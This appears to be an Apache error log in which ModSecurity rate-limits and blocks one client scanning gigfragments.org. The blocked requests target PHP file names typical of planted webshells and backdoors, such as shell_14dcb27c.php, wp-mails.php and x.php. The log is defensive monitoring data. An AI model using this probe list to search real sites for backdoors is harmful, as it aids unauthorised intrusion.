[Thu Dec 25 21:33:53.789436 2025] [:error] [pid 22044:tid 22086] [client 4.241.194.62:55738] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/veuntzdf.php"] [unique_id "aU09QXPTC5rQKTB0FQ-QJgAAAMs"]
[Thu Dec 25 21:33:54.887337 2025] [:error] [pid 22044:tid 22088] [client 4.241.194.62:55692] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xenium4.php"] [unique_id "aU09QnPTC5rQKTB0FQ-QKQAAAM0"]
[Thu Dec 25 21:33:55.451513 2025] [:error] [pid 22131:tid 22133] [client 4.241.194.62:64187] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xenium4.php"] [unique_id "aU09Q5vVMtSTB4lX2fYo5wAAAEA"]
[Thu Dec 25 21:33:56.107662 2025] [:error] [pid 22131:tid 22153] [client 4.241.194.62:64874] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xenium4.php"] [unique_id "aU09RJvVMtSTB4lX2fYo6QAAAFI"]
[Thu Dec 25 21:33:56.499956 2025] [:error] [pid 22043:tid 22068] [client 4.241.194.62:64136] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xenium4.php"] [unique_id "aU09RD4YVtlb2Iz_QE5GXwAAABQ"]
[Thu Dec 25 21:33:57.104862 2025] [:error] [pid 22043:tid 22048] [client 4.241.194.62:64836] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pu8.php"] [unique_id "aU09RT4YVtlb2Iz_QE5GYAAAAAA"]
[Thu Dec 25 21:33:57.713973 2025] [:error] [pid 27869:tid 27879] [client 4.241.194.62:64130] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pu8.php"] [unique_id "aU09RRNK7_n86kBD7qfI8QAAAIg"]
[Thu Dec 25 21:33:58.293795 2025] [:error] [pid 22044:tid 22082] [client 4.241.194.62:64191] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pu8.php"] [unique_id "aU09RnPTC5rQKTB0FQ-QKgAAAMc"]
[Thu Dec 25 21:33:58.833699 2025] [:error] [pid 22131:tid 22155] [client 4.241.194.62:55725] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pu8.php"] [unique_id "aU09RpvVMtSTB4lX2fYo7gAAAFM"]
[Thu Dec 25 21:33:59.440080 2025] [:error] [pid 22044:tid 22094] [client 4.241.194.62:64149] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog-front.php"] [unique_id "aU09R3PTC5rQKTB0FQ-QLQAAANM"]
[Thu Dec 25 21:34:00.204297 2025] [:error] [pid 22045:tid 22114] [client 4.241.194.62:55690] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog-front.php"] [unique_id "aU09SKsGGmXjDnvlmHth4QAAAUw"]
[Thu Dec 25 21:34:00.823996 2025] [:error] [pid 22131:tid 22145] [client 4.241.194.62:64183] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog-front.php"] [unique_id "aU09SJvVMtSTB4lX2fYo8QAAAEs"]
[Thu Dec 25 21:34:01.467537 2025] [:error] [pid 22045:tid 22119] [client 4.241.194.62:64878] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog-front.php"] [unique_id "aU09SasGGmXjDnvlmHth5QAAAVE"]
[Thu Dec 25 21:34:02.194703 2025] [:error] [pid 27869:tid 27883] [client 4.241.194.62:55727] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-Blogs.php"] [unique_id "aU09ShNK7_n86kBD7qfI9QAAAIw"]
[Thu Dec 25 21:34:02.799255 2025] [:error] [pid 22043:tid 22066] [client 4.241.194.62:53268] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-Blogs.php"] [unique_id "aU09Sj4YVtlb2Iz_QE5GbQAAABI"]
[Thu Dec 25 21:34:03.710272 2025] [:error] [pid 22131:tid 22139] [client 4.241.194.62:64171] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-Blogs.php"] [unique_id "aU09S5vVMtSTB4lX2fYo9AAAAEU"]
[Thu Dec 25 21:34:04.481640 2025] [:error] [pid 22131:tid 22150] [client 4.241.194.62:64161] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-Blogs.php"] [unique_id "aU09TJvVMtSTB4lX2fYo9gAAAE8"]
[Thu Dec 25 21:34:05.433959 2025] [:error] [pid 22043:tid 22070] [client 4.241.194.62:64866] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-loccs.php"] [unique_id "aU09TT4YVtlb2Iz_QE5GbwAAABY"]
[Thu Dec 25 21:34:06.359712 2025] [:error] [pid 22131:tid 22137] [client 4.241.194.62:64841] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-loccs.php"] [unique_id "aU09TpvVMtSTB4lX2fYo-gAAAEQ"]
[Thu Dec 25 21:34:06.884279 2025] [:error] [pid 22044:tid 22080] [client 4.241.194.62:64835] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-loccs.php"] [unique_id "aU09TnPTC5rQKTB0FQ-QNAAAAMU"]
[Thu Dec 25 21:34:07.524323 2025] [:error] [pid 22131:tid 22147] [client 4.241.194.62:64169] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-loccs.php"] [unique_id "aU09T5vVMtSTB4lX2fYo_QAAAEw"]
[Thu Dec 25 21:34:08.059177 2025] [:error] [pid 22043:tid 22068] [client 4.241.194.62:55715] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mails.php"] [unique_id "aU09UD4YVtlb2Iz_QE5GcQAAABQ"]
[Thu Dec 25 21:34:08.983279 2025] [:error] [pid 22045:tid 22106] [client 4.241.194.62:64859] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mails.php"] [unique_id "aU09UKsGGmXjDnvlmHth-gAAAUQ"]
[Thu Dec 25 21:34:10.050338 2025] [:error] [pid 22131:tid 22158] [client 4.241.194.62:64179] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mails.php"] [unique_id "aU09UpvVMtSTB4lX2fYpAQAAAFY"]
[Thu Dec 25 21:34:10.579582 2025] [:error] [pid 22044:tid 22088] [client 4.241.194.62:55685] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mails.php"] [unique_id "aU09UnPTC5rQKTB0FQ-QNgAAAM0"]
[Thu Dec 25 21:34:11.192793 2025] [:error] [pid 22131:tid 22150] [client 4.241.194.62:64131] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs18.php"] [unique_id "aU09U5vVMtSTB4lX2fYpBQAAAE8"]
[Thu Dec 25 21:34:11.606505 2025] [:error] [pid 22131:tid 22159] [client 4.241.194.62:64148] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs18.php"] [unique_id "aU09U5vVMtSTB4lX2fYpBwAAAFc"]
[Thu Dec 25 21:34:12.165521 2025] [:error] [pid 22045:tid 22126] [client 4.241.194.62:64895] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs18.php"] [unique_id "aU09VKsGGmXjDnvlmHth_wAAAVg"]
[Thu Dec 25 21:34:13.007126 2025] [:error] [pid 22131:tid 22153] [client 4.241.194.62:64170] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blurbs18.php"] [unique_id "aU09VZvVMtSTB4lX2fYpCQAAAFI"]
[Thu Dec 25 21:34:13.927209 2025] [:error] [pid 27869:tid 27893] [client 4.241.194.62:64138] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/green.php"] [unique_id "aU09VRNK7_n86kBD7qfI_AAAAJY"]
[Thu Dec 25 21:34:14.825306 2025] [:error] [pid 22131:tid 22147] [client 4.241.194.62:64837] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/green.php"] [unique_id "aU09VpvVMtSTB4lX2fYpDAAAAEw"]
[Thu Dec 25 21:34:15.699739 2025] [:error] [pid 22131:tid 22143] [client 4.241.194.62:53250] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/green.php"] [unique_id "aU09V5vVMtSTB4lX2fYpDgAAAEk"]
[Thu Dec 25 21:34:16.378993 2025] [:error] [pid 22045:tid 22125] [client 4.241.194.62:55731] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/green.php"] [unique_id "aU09WKsGGmXjDnvlmHtiBAAAAVc"]
[Thu Dec 25 21:34:17.096857 2025] [:error] [pid 22045:tid 22112] [client 4.241.194.62:64159] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kao.php"] [unique_id "aU09WasGGmXjDnvlmHtiCAAAAUo"]
[Thu Dec 25 21:34:17.551247 2025] [:error] [pid 22131:tid 22151] [client 4.241.194.62:64833] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kao.php"] [unique_id "aU09WZvVMtSTB4lX2fYpEAAAAFA"]
[Thu Dec 25 21:34:18.496590 2025] [:error] [pid 22044:tid 22087] [client 4.241.194.62:55718] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kao.php"] [unique_id "aU09WnPTC5rQKTB0FQ-QOwAAAMw"]
[Thu Dec 25 21:34:20.247153 2025] [:error] [pid 22045:tid 22118] [client 4.241.194.62:64889] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kao.php"] [unique_id "aU09XKsGGmXjDnvlmHtiEQAAAVA"]
[Thu Dec 25 21:34:21.714987 2025] [:error] [pid 22043:tid 22070] [client 4.241.194.62:64847] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell_14dcb27c.php"] [unique_id "aU09XT4YVtlb2Iz_QE5GgAAAABY"]
[Thu Dec 25 21:34:40.875998 2025] [:error] [pid 22043:tid 22056] [client 4.241.194.62:64891] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aU09cD4YVtlb2Iz_QE5GogAAAAg"]
[Thu Dec 25 21:34:41.844045 2025] [:error] [pid 22044:tid 22083] [client 4.241.194.62:53295] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aU09cXPTC5rQKTB0FQ-QXQAAAMg"]
[Thu Dec 25 21:34:42.277726 2025] [:error] [pid 22043:tid 22050] [client 4.241.194.62:64178] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aU09cj4YVtlb2Iz_QE5GpAAAAAI"]
[Thu Dec 25 21:34:43.187493 2025] [:error] [pid 22131:tid 22141] [client 4.241.194.62:55729] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aU09c5vVMtSTB4lX2fYpIAAAAEc"]
[Thu Dec 25 21:34:44.142510 2025] [:error] [pid 22044:tid 22079] [client 4.241.194.62:64143] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atex1.php"] [unique_id "aU09dHPTC5rQKTB0FQ-QZQAAAMQ"]
[Thu Dec 25 21:34:44.953157 2025] [:error] [pid 27869:tid 27891] [client 4.241.194.62:64173] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atex1.php"] [unique_id "aU09dBNK7_n86kBD7qfJMgAAAJQ"]
[Thu Dec 25 21:34:46.879363 2025] [:error] [pid 22044:tid 22075] [client 4.241.194.62:64892] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atex1.php"] [unique_id "aU09dnPTC5rQKTB0FQ-QagAAAMA"]
[Thu Dec 25 21:34:47.684582 2025] [:error] [pid 22131:tid 22160] [client 4.241.194.62:64141] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atex1.php"] [unique_id "aU09d5vVMtSTB4lX2fYpJQAAAFg"]
[Thu Dec 25 21:34:48.923071 2025] [:error] [pid 27869:tid 27884] [client 4.241.194.62:53264] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-advaced.php"] [unique_id "aU09eBNK7_n86kBD7qfJPQAAAI0"]
[Thu Dec 25 21:34:50.501655 2025] [:error] [pid 22045:tid 22123] [client 4.241.194.62:64134] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-advaced.php"] [unique_id "aU09eqsGGmXjDnvlmHtiXwAAAVU"]
[Thu Dec 25 21:34:52.107469 2025] [:error] [pid 22044:tid 22088] [client 4.241.194.62:55680] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-advaced.php"] [unique_id "aU09fHPTC5rQKTB0FQ-QdAAAAM0"]
[Thu Dec 25 21:34:53.481856 2025] [:error] [pid 22043:tid 22048] [client 4.241.194.62:53255] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-advaced.php"] [unique_id "aU09fT4YVtlb2Iz_QE5GsAAAAAA"]
[Thu Dec 25 21:34:54.677083 2025] [:error] [pid 27869:tid 27879] [client 4.241.194.62:64150] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aU09fhNK7_n86kBD7qfJSwAAAIg"]
[Thu Dec 25 21:34:55.768669 2025] [:error] [pid 22131:tid 22158] [client 4.241.194.62:64139] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aU09f5vVMtSTB4lX2fYpLQAAAFY"]
[Thu Dec 25 21:34:56.769418 2025] [:error] [pid 27869:tid 27872] [client 4.241.194.62:64186] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aU09gBNK7_n86kBD7qfJXAAAAIE"]
[Thu Dec 25 21:34:57.636761 2025] [:error] [pid 22044:tid 22095] [client 4.241.194.62:64188] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aU09gXPTC5rQKTB0FQ-QeQAAANQ"]
[Thu Dec 25 21:34:58.866898 2025] [:error] [pid 22045:tid 22112] [client 4.241.194.62:64176] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aU09gqsGGmXjDnvlmHtiaQAAAUo"]
[Thu Dec 25 21:34:59.984165 2025] [:error] [pid 22131:tid 22150] [client 4.241.194.62:53253] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aU09g5vVMtSTB4lX2fYpMwAAAE8"]
